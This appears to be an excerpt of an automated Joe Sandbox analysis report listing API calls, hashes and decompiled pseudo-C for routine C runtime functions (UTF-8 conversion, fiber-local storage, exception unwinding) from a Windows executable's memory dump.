                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Library$Load$AddressErrorFreeLastProc
                                                                                                                              • String ID: api-ms-
                                                                                                                              • API String ID: 2559590344-2084034818
                                                                                                                              • Opcode ID: b1925c37cafe71baed539b1876bc23373fb45261b76e946b888b2af6812d26f2
                                                                                                                              • Instruction ID: f0ced481abc93763e2e58935ba08f2658f2b851d3376a16cf795d6dedd181fca
                                                                                                                              • Opcode Fuzzy Hash: b1925c37cafe71baed539b1876bc23373fb45261b76e946b888b2af6812d26f2
                                                                                                                              • Instruction Fuzzy Hash: F8310661B1AA4299FE13BB12A8005BDE394BF48BA4FDD4576DD2D47382DF7CE4608320
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8D79A0 Relevance: 10.6, APIs: 2, Strings: 5, Instructions: 68COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • MultiByteToWideChar.KERNEL32 ref: 00007FF7DA8D79DA
                                                                                                                                • Part of subcall function 00007FF7DA8D2620: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF7DA8D76B4,?,?,?,?,?,?,?,?,?,?,?,00007FF7DA8D101D), ref: 00007FF7DA8D2654
                                                                                                                                • Part of subcall function 00007FF7DA8D2620: MessageBoxW.USER32 ref: 00007FF7DA8D272C
                                                                                                                              • MultiByteToWideChar.KERNEL32 ref: 00007FF7DA8D7A60
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ByteCharMultiWide$ErrorLastMessage
                                                                                                                              • String ID: Failed to decode wchar_t from UTF-8$Failed to get wchar_t buffer size.$MultiByteToWideChar$Out of memory.$win32_utils_from_utf8
                                                                                                                              • API String ID: 3723044601-876015163
                                                                                                                              • Opcode ID: 92c20d544a3da61e5b294facc47a8b8ec1f934979f76716e8c9c135b6086c3a3
                                                                                                                              • Instruction ID: 4ee42b84989f1e7fa71373c33a3489ee2cc6d54337d415c6146055f499a284bc
                                                                                                                              • Opcode Fuzzy Hash: 92c20d544a3da61e5b294facc47a8b8ec1f934979f76716e8c9c135b6086c3a3
                                                                                                                              • Instruction Fuzzy Hash: A5216122B08A4381FB12EB15F40016DE361FB947D4FD84572DE4C87B6AEF6CD6658710
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8EA570 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetLastError.KERNEL32(?,?,?,00007FF7DA8F2383,?,?,?,00007FF7DA8ECADC,?,?,00000000,00007FF7DA8E39AF,?,?,?,00007FF7DA8E9263), ref: 00007FF7DA8EA57F
                                                                                                                              • FlsGetValue.KERNEL32(?,?,?,00007FF7DA8F2383,?,?,?,00007FF7DA8ECADC,?,?,00000000,00007FF7DA8E39AF,?,?,?,00007FF7DA8E9263), ref: 00007FF7DA8EA594
                                                                                                                              • FlsSetValue.KERNEL32(?,?,?,00007FF7DA8F2383,?,?,?,00007FF7DA8ECADC,?,?,00000000,00007FF7DA8E39AF,?,?,?,00007FF7DA8E9263), ref: 00007FF7DA8EA5B5
                                                                                                                              • FlsSetValue.KERNEL32(?,?,?,00007FF7DA8F2383,?,?,?,00007FF7DA8ECADC,?,?,00000000,00007FF7DA8E39AF,?,?,?,00007FF7DA8E9263), ref: 00007FF7DA8EA5E2
                                                                                                                              • FlsSetValue.KERNEL32(?,?,?,00007FF7DA8F2383,?,?,?,00007FF7DA8ECADC,?,?,00000000,00007FF7DA8E39AF,?,?,?,00007FF7DA8E9263), ref: 00007FF7DA8EA5F3
                                                                                                                              • FlsSetValue.KERNEL32(?,?,?,00007FF7DA8F2383,?,?,?,00007FF7DA8ECADC,?,?,00000000,00007FF7DA8E39AF,?,?,?,00007FF7DA8E9263), ref: 00007FF7DA8EA604
                                                                                                                              • SetLastError.KERNEL32(?,?,?,00007FF7DA8F2383,?,?,?,00007FF7DA8ECADC,?,?,00000000,00007FF7DA8E39AF,?,?,?,00007FF7DA8E9263), ref: 00007FF7DA8EA61F
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Value$ErrorLast
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 2506987500-0
                                                                                                                              • Opcode ID: d29b967d13e30a0aaf5ff83cba9b665355429f5f41d95fa9997d3a9b9b9948ed
                                                                                                                              • Instruction ID: 5f63456b71583ef3aff6cd944f77ea2d5d3eac19fbbe4a74dd8531042abfa870
                                                                                                                              • Opcode Fuzzy Hash: d29b967d13e30a0aaf5ff83cba9b665355429f5f41d95fa9997d3a9b9b9948ed
                                                                                                                              • Instruction Fuzzy Hash: EE215C60E08202C1FA6AB761558517DE2417F64BB0FC40AB6ED3E47AD7DE2EE5618220
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8F6FBC Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
                                                                                                                              • String ID: CONOUT$
                                                                                                                              • API String ID: 3230265001-3130406586
                                                                                                                              • Opcode ID: f4124709c7c31d5de308cd59126671bcd46a61d9362fadabbe7fbbd0d2697edd
                                                                                                                              • Instruction ID: e1b7652dedd7bd3204d68097532ef3e51691d90434d21077f63cb91e90bd4d8f
                                                                                                                              • Opcode Fuzzy Hash: f4124709c7c31d5de308cd59126671bcd46a61d9362fadabbe7fbbd0d2697edd
                                                                                                                              • Instruction Fuzzy Hash: 9611AC22A18A4386F751AB02E85432DF3A0BB98FE4FC00276EE5D87795DF3CD8648754
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8EA6E8 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetLastError.KERNEL32(?,?,?,00007FF7DA8E439D,?,?,?,?,00007FF7DA8EDCF7,?,?,00000000,00007FF7DA8EA806,?,?,?), ref: 00007FF7DA8EA6F7
                                                                                                                              • FlsSetValue.KERNEL32(?,?,?,00007FF7DA8E439D,?,?,?,?,00007FF7DA8EDCF7,?,?,00000000,00007FF7DA8EA806,?,?,?), ref: 00007FF7DA8EA72D
                                                                                                                              • FlsSetValue.KERNEL32(?,?,?,00007FF7DA8E439D,?,?,?,?,00007FF7DA8EDCF7,?,?,00000000,00007FF7DA8EA806,?,?,?), ref: 00007FF7DA8EA75A
                                                                                                                              • FlsSetValue.KERNEL32(?,?,?,00007FF7DA8E439D,?,?,?,?,00007FF7DA8EDCF7,?,?,00000000,00007FF7DA8EA806,?,?,?), ref: 00007FF7DA8EA76B
                                                                                                                              • FlsSetValue.KERNEL32(?,?,?,00007FF7DA8E439D,?,?,?,?,00007FF7DA8EDCF7,?,?,00000000,00007FF7DA8EA806,?,?,?), ref: 00007FF7DA8EA77C
                                                                                                                              • SetLastError.KERNEL32(?,?,?,00007FF7DA8E439D,?,?,?,?,00007FF7DA8EDCF7,?,?,00000000,00007FF7DA8EA806,?,?,?), ref: 00007FF7DA8EA797
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Value$ErrorLast
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 2506987500-0
                                                                                                                              • Opcode ID: 15f8d115e08a0785f153da3630b41f43a9b11f7c39ba558ca675a4718144fc33
                                                                                                                              • Instruction ID: dbaa6690ce344b50398efa717dee32f171f72c75cb6f435dcfa3d106402fa939
                                                                                                                              • Opcode Fuzzy Hash: 15f8d115e08a0785f153da3630b41f43a9b11f7c39ba558ca675a4718144fc33
                                                                                                                              • Instruction Fuzzy Hash: 40118064F08202C1F65AB7215A4013DE2917FA4BB0FC44AB6ED7E477C7DD2DA5658220
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8DE3C4 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 162COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 63%
                                                                                                                              			E00007FF77FF7DA8DE3C4(void* __ecx, void* __esi, long long __rbx, intOrPtr* __rcx, void* __rdx, long long __rdi, long long __rsi, long long __rbp, void* __r8, void* __r9, void* _a8, void* _a16, void* _a24, void* _a32, signed int* _a40, char _a48, signed int _a56, signed int _a64) {
				signed int _v32;
				long long _v40;
				char _v48;
				signed int* _v56;
				void* _t55;
				intOrPtr _t60;
				signed int _t102;
				void* _t110;
				intOrPtr _t112;
				signed int* _t116;
				intOrPtr* _t137;
				void* _t140;
				void* _t143;
				void* _t145;
				void* _t159;
				void* _t160;

				_t110 = _t145;
				 *((long long*)(_t110 + 8)) = __rbx;
				 *((long long*)(_t110 + 0x10)) = __rbp;
				 *((long long*)(_t110 + 0x18)) = __rsi;
				 *((long long*)(_t110 + 0x20)) = __rdi;
				_t137 = __rcx;
				_t140 = __r9;
				_t160 = __r8;
				_t143 = __rdx;
				E00007FF77FF7DA8DCC24(_t55, __r8);
				E00007FF77FF7DA8DCC80(_t110);
				_t116 = _a40;
				if ( *((intOrPtr*)(_t110 + 0x40)) != 0) goto 0xda8de446;
				if ( *__rcx == 0xe06d7363) goto 0xda8de446;
				if ( *__rcx != 0x80000029) goto 0xda8de42a;
				if ( *((intOrPtr*)(__rcx + 0x18)) != 0xf) goto 0xda8de42e;
				if ( *((long long*)(__rcx + 0x60)) == 0x19930520) goto 0xda8de446;
				if ( *__rcx == 0x80000026) goto 0xda8de446;
				if (( *_t116 & 0x1fffffff) - 0x19930522 < 0) goto 0xda8de446;
				if ((_t116[9] & 0x00000001) != 0) goto 0xda8de5d5;
				if (( *(__rcx + 4) & 0x00000066) == 0) goto 0xda8de4de;
				if (_t116[1] == 0) goto 0xda8de5d5;
				if (_a48 != 0) goto 0xda8de5d5;
				if (( *(__rcx + 4) & 0x00000020) == 0) goto 0xda8de4cb;
				if ( *__rcx != 0x80000026) goto 0xda8de4a9;
				_t60 = E00007FF77FF7DA8DD794(_t116, __r9,  *((intOrPtr*)(__r9 + 0x20)), __r9);
				if (_t60 - 0xffffffff < 0) goto 0xda8de5f5;
				if (_t60 - _t116[1] >= 0) goto 0xda8de5f5;
				r9d = _t60;
				E00007FF77FF7DA8DE964(_t110, _t143, __r9, _t116);
				goto 0xda8de5d5;
				if ( *_t137 != 0x80000029) goto 0xda8de4cb;
				r9d =  *((intOrPtr*)(_t137 + 0x38));
				if (r9d - 0xffffffff < 0) goto 0xda8de5f5;
				if (r9d - _t116[1] >= 0) goto 0xda8de5f5;
				goto 0xda8de499;
				E00007FF77FF7DA8DD20C(r9d - _t116[1], _t110, _t116, __r9, __r9, _t116);
				goto 0xda8de5d5;
				if (_t116[3] != 0) goto 0xda8de526;
				if (( *_t116 & 0x1fffffff) - 0x19930521 < 0) goto 0xda8de506;
				_t102 = _t116[8];
				if (_t102 == 0) goto 0xda8de506;
				E00007FF77FF7DA8DD610(_t110);
				if (_t102 != 0) goto 0xda8de526;
				if (( *_t116 & 0x1fffffff) - 0x19930522 < 0) goto 0xda8de5d5;
				if ((_t116[9] >> 0x00000002 & 0x00000001) == 0) goto 0xda8de5d5;
				if ( *_t137 != 0xe06d7363) goto 0xda8de59c;
				if ( *((intOrPtr*)(_t137 + 0x18)) - 3 < 0) goto 0xda8de59c;
				if ( *((intOrPtr*)(_t137 + 0x20)) - 0x19930522 <= 0) goto 0xda8de59c;
				_t112 =  *((intOrPtr*)(_t137 + 0x30));
				if ( *((intOrPtr*)(_t112 + 8)) == 0) goto 0xda8de59c;
				E00007FF77FF7DA8DD624(_t112);
				if (_t112 +  *((intOrPtr*)( *((intOrPtr*)(_t137 + 0x30)) + 8)) == 0) goto 0xda8de59c;
				_v32 = _a64 & 0x000000ff;
				_v40 = _a56;
				_v48 = _a48;
				_v56 = _t116;
				 *0xda8fa428(_t159);
				goto 0xda8de5da;
				_v32 = _a56;
				_v40 = _a48;
				_v48 = _a64;
				_v56 = _t116;
				E00007FF77FF7DA8DDB90(_a64 & 0x000000ff, 0x80000026, __esi, _t137, _t143, _t160, _t140, _t112 +  *((intOrPtr*)( *((intOrPtr*)(_t137 + 0x30)) + 8)));
				return 1;
			}



















                                                                                                                              0x7ff7da8de3c4
                                                                                                                              0x7ff7da8de3c7
                                                                                                                              0x7ff7da8de3cb
                                                                                                                              0x7ff7da8de3cf
                                                                                                                              0x7ff7da8de3d3
                                                                                                                              0x7ff7da8de3dd
                                                                                                                              0x7ff7da8de3e0
                                                                                                                              0x7ff7da8de3e6
                                                                                                                              0x7ff7da8de3e9
                                                                                                                              0x7ff7da8de3ec
                                                                                                                              0x7ff7da8de3f1
                                                                                                                              0x7ff7da8de3f6
                                                                                                                              0x7ff7da8de40c
                                                                                                                              0x7ff7da8de414
                                                                                                                              0x7ff7da8de418
                                                                                                                              0x7ff7da8de41e
                                                                                                                              0x7ff7da8de428
                                                                                                                              0x7ff7da8de42c
                                                                                                                              0x7ff7da8de43a
                                                                                                                              0x7ff7da8de440
                                                                                                                              0x7ff7da8de44a
                                                                                                                              0x7ff7da8de454
                                                                                                                              0x7ff7da8de462
                                                                                                                              0x7ff7da8de46c
                                                                                                                              0x7ff7da8de470
                                                                                                                              0x7ff7da8de47c
                                                                                                                              0x7ff7da8de484
                                                                                                                              0x7ff7da8de48d
                                                                                                                              0x7ff7da8de493
                                                                                                                              0x7ff7da8de49f
                                                                                                                              0x7ff7da8de4a4
                                                                                                                              0x7ff7da8de4ab
                                                                                                                              0x7ff7da8de4ad
                                                                                                                              0x7ff7da8de4b5
                                                                                                                              0x7ff7da8de4bf
                                                                                                                              0x7ff7da8de4c9
                                                                                                                              0x7ff7da8de4d4
                                                                                                                              0x7ff7da8de4d9
                                                                                                                              0x7ff7da8de4e2
                                                                                                                              0x7ff7da8de4f0
                                                                                                                              0x7ff7da8de4f2
                                                                                                                              0x7ff7da8de4f6
                                                                                                                              0x7ff7da8de4f8
                                                                                                                              0x7ff7da8de504
                                                                                                                              0x7ff7da8de512
                                                                                                                              0x7ff7da8de520
                                                                                                                              0x7ff7da8de52c
                                                                                                                              0x7ff7da8de532
                                                                                                                              0x7ff7da8de53b
                                                                                                                              0x7ff7da8de53d
                                                                                                                              0x7ff7da8de545
                                                                                                                              0x7ff7da8de547
                                                                                                                              0x7ff7da8de55a
                                                                                                                              0x7ff7da8de571
                                                                                                                              0x7ff7da8de580
                                                                                                                              0x7ff7da8de588
                                                                                                                              0x7ff7da8de58f
                                                                                                                              0x7ff7da8de594
                                                                                                                              0x7ff7da8de59a
                                                                                                                              0x7ff7da8de5a7
                                                                                                                              0x7ff7da8de5b9
                                                                                                                              0x7ff7da8de5c7
                                                                                                                              0x7ff7da8de5cb
                                                                                                                              0x7ff7da8de5d0
                                                                                                                              0x7ff7da8de5f4

                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record__std_exception_copy
                                                                                                                              • String ID: csm$csm
                                                                                                                              • API String ID: 851805269-3733052814
                                                                                                                              • Opcode ID: 636783574853e9e9a3fb0730e5a08b6ac18183820e0ce6080361bfa48fa937f4
                                                                                                                              • Instruction ID: 5a19739b57951671574e95ecf06ce7e6fdd3bdc19f8b9e2c6cb3877583a7ebf1
                                                                                                                              • Opcode Fuzzy Hash: 636783574853e9e9a3fb0730e5a08b6ac18183820e0ce6080361bfa48fa937f4
                                                                                                                              • Instruction Fuzzy Hash: AC619D329087828AFF21AF21944426CBBA1FB54B94FD84172DE8D47B96DF3CE460C710
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8DC808 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 30%
                                                                                                                              			E00007FF77FF7DA8DC808(void* __rax, long long __rbx, long long __rcx, void* __rdx, long long __rsi, long long __r8, intOrPtr* __r9) {
				void* _t76;
				void* _t83;
				void* _t84;
				intOrPtr _t101;
				intOrPtr _t103;
				void* _t113;
				void* _t118;
				void* _t130;
				long long _t133;
				intOrPtr* _t135;
				signed long long _t144;
				void* _t150;
				signed long long _t154;
				void* _t156;
				long long _t158;
				intOrPtr* _t159;
				void* _t161;
				void* _t162;
				signed long long _t166;
				void* _t170;
				intOrPtr _t171;
				void* _t173;
				void* _t174;
				void* _t176;
				void* _t178;
				void* _t180;
				intOrPtr* _t181;

				_t130 = __rax;
				 *((long long*)(_t161 + 8)) = __rbx;
				 *((long long*)(_t161 + 0x10)) = _t158;
				 *((long long*)(_t161 + 0x18)) = __rsi;
				_t162 = _t161 - 0x40;
				_t159 = __rcx;
				_t181 = __r9;
				_t174 = __rdx;
				E00007FF77FF7DA8DCC24(_t76, __r8);
				_t171 =  *((intOrPtr*)(__r9 + 8));
				_t135 =  *((intOrPtr*)(__r9 + 0x38));
				_t178 =  *__r9 - _t171;
				_t103 =  *((intOrPtr*)(__r9 + 0x48));
				if (( *(__rcx + 4) & 0x00000066) != 0) goto 0xda8dc930;
				 *((long long*)(_t162 + 0x30)) = __rcx;
				 *((long long*)(_t162 + 0x38)) = __r8;
				if (_t103 -  *_t135 >= 0) goto 0xda8dc9dc;
				_t154 = __r8 + __r8;
				if (_t178 - _t130 < 0) goto 0xda8dc922;
				if (_t178 - _t130 >= 0) goto 0xda8dc922;
				if ( *((intOrPtr*)(_t135 + 0x10 + _t154 * 8)) == 0) goto 0xda8dc922;
				if ( *((intOrPtr*)(_t135 + 0xc + _t154 * 8)) == 1) goto 0xda8dc8ae;
				_t113 =  *((long long*)(_t130 + _t171))(_t180, _t176, _t173, _t170, _t150);
				if (_t113 < 0) goto 0xda8dc929;
				if (_t113 <= 0) goto 0xda8dc922;
				if ( *((intOrPtr*)(__rcx)) != 0xe06d7363) goto 0xda8dc8df;
				if ( *0xda9004c0 == 0) goto 0xda8dc8df;
				if (E00007FF77FF7DA8F8F10(_t130 + _t171, _t135, 0xda9004c0) == 0) goto 0xda8dc8df;
				_t83 =  *0xda9004c0();
				r8d = 1;
				_t84 = E00007FF77FF7DA8DCBF0(_t83, _t159 + _t171, _t174);
				_t101 =  *((intOrPtr*)(_t135 + 0x10 + _t154 * 8));
				r9d =  *_t159;
				 *((long long*)(_t162 + 0x28)) =  *((intOrPtr*)(_t181 + 0x40));
				_t133 =  *((intOrPtr*)(_t181 + 0x28));
				 *((long long*)(_t162 + 0x20)) = _t133;
				__imp__RtlUnwindEx();
				E00007FF77FF7DA8DCC20(_t84);
				goto 0xda8dc85e;
				goto 0xda8dc9e1;
				_t156 =  *((intOrPtr*)(_t181 + 0x20)) - _t171;
				goto 0xda8dc9d2;
				_t144 = _t174 + _t174;
				if (_t178 - _t133 < 0) goto 0xda8dc9d0;
				_t118 = _t178 - _t133;
				if (_t118 >= 0) goto 0xda8dc9d0;
				r10d =  *(_t159 + 4);
				r10d = r10d & 0x00000020;
				if (_t118 == 0) goto 0xda8dc9a5;
				r9d = 0;
				if (_t101 == 0) goto 0xda8dc9a0;
				r8d = r9d;
				_t166 = _t159 + _t159;
				if (_t156 - _t133 < 0) goto 0xda8dc998;
				if (_t156 - _t133 >= 0) goto 0xda8dc998;
				if ( *((intOrPtr*)(_t135 + 0x10 + _t166 * 8)) !=  *((intOrPtr*)(_t135 + 0x10 + _t144 * 8))) goto 0xda8dc998;
				if ( *((intOrPtr*)(_t135 + 0xc + _t166 * 8)) ==  *((intOrPtr*)(_t135 + 0xc + _t144 * 8))) goto 0xda8dc9a0;
				r9d = r9d + 1;
				if (r9d - _t101 < 0) goto 0xda8dc968;
				if (r9d != _t101) goto 0xda8dc9dc;
				if ( *((intOrPtr*)(_t135 + 0x10 + _t144 * 8)) == 0) goto 0xda8dc9b9;
				if (_t156 != _t133) goto 0xda8dc9d0;
				if (r10d != 0) goto 0xda8dc9dc;
				goto 0xda8dc9d0;
				 *((intOrPtr*)(_t181 + 0x48)) = _t150 + 1;
				r8d =  *((intOrPtr*)(_t135 + 0xc + _t144 * 8));
				 *((long long*)(_t166 + _t171))();
				if (_t103 + 2 -  *_t135 < 0) goto 0xda8dc93c;
				return 1;
			}






























                                                                                                                              0x7ff7da8dc808
                                                                                                                              0x7ff7da8dc808
                                                                                                                              0x7ff7da8dc80d
                                                                                                                              0x7ff7da8dc812
                                                                                                                              0x7ff7da8dc820
                                                                                                                              0x7ff7da8dc824
                                                                                                                              0x7ff7da8dc827
                                                                                                                              0x7ff7da8dc830
                                                                                                                              0x7ff7da8dc833
                                                                                                                              0x7ff7da8dc838
                                                                                                                              0x7ff7da8dc83f
                                                                                                                              0x7ff7da8dc843
                                                                                                                              0x7ff7da8dc84a
                                                                                                                              0x7ff7da8dc84e
                                                                                                                              0x7ff7da8dc854
                                                                                                                              0x7ff7da8dc859
                                                                                                                              0x7ff7da8dc860
                                                                                                                              0x7ff7da8dc868
                                                                                                                              0x7ff7da8dc872
                                                                                                                              0x7ff7da8dc87f
                                                                                                                              0x7ff7da8dc88a
                                                                                                                              0x7ff7da8dc895
                                                                                                                              0x7ff7da8dc8a8
                                                                                                                              0x7ff7da8dc8aa
                                                                                                                              0x7ff7da8dc8ac
                                                                                                                              0x7ff7da8dc8b5
                                                                                                                              0x7ff7da8dc8bf
                                                                                                                              0x7ff7da8dc8cf
                                                                                                                              0x7ff7da8dc8d9
                                                                                                                              0x7ff7da8dc8e3
                                                                                                                              0x7ff7da8dc8ef
                                                                                                                              0x7ff7da8dc8fb
                                                                                                                              0x7ff7da8dc902
                                                                                                                              0x7ff7da8dc909
                                                                                                                              0x7ff7da8dc90e
                                                                                                                              0x7ff7da8dc912
                                                                                                                              0x7ff7da8dc917
                                                                                                                              0x7ff7da8dc91d
                                                                                                                              0x7ff7da8dc924
                                                                                                                              0x7ff7da8dc92b
                                                                                                                              0x7ff7da8dc934
                                                                                                                              0x7ff7da8dc937
                                                                                                                              0x7ff7da8dc93e
                                                                                                                              0x7ff7da8dc948
                                                                                                                              0x7ff7da8dc952
                                                                                                                              0x7ff7da8dc955
                                                                                                                              0x7ff7da8dc957
                                                                                                                              0x7ff7da8dc95b
                                                                                                                              0x7ff7da8dc95f
                                                                                                                              0x7ff7da8dc961
                                                                                                                              0x7ff7da8dc966
                                                                                                                              0x7ff7da8dc968
                                                                                                                              0x7ff7da8dc96b
                                                                                                                              0x7ff7da8dc976
                                                                                                                              0x7ff7da8dc980
                                                                                                                              0x7ff7da8dc98b
                                                                                                                              0x7ff7da8dc996
                                                                                                                              0x7ff7da8dc998
                                                                                                                              0x7ff7da8dc99e
                                                                                                                              0x7ff7da8dc9a3
                                                                                                                              0x7ff7da8dc9ab
                                                                                                                              0x7ff7da8dc9b0
                                                                                                                              0x7ff7da8dc9b5
                                                                                                                              0x7ff7da8dc9b7
                                                                                                                              0x7ff7da8dc9bf
                                                                                                                              0x7ff7da8dc9c3
                                                                                                                              0x7ff7da8dc9cd
                                                                                                                              0x7ff7da8dc9d6
                                                                                                                              0x7ff7da8dc9fe

                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
